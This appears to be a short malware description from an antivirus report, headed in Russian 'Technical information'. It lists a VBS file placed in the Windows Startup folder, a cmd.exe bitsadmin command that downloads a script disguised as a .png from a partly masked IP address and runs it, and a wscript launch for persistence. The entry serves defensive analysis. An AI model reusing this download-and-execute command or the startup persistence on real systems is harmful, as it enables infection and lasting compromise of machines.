Техническая информация
- %HOMEPATH%\Start Menu\Programs\Startup\Kara.vbs
- '<SYSTEM32>\cmd.exe' /c bitsadmin /Transfer /Download /Priority FOREGROUND "http://17#.#3.7.202/mi/n.png" "%cd%\jema.vbs" && start jema.vbs
- '<SYSTEM32>\wscript.exe' "%HOMEPATH%\Start Menu\Programs\Startup\Kara.vbs"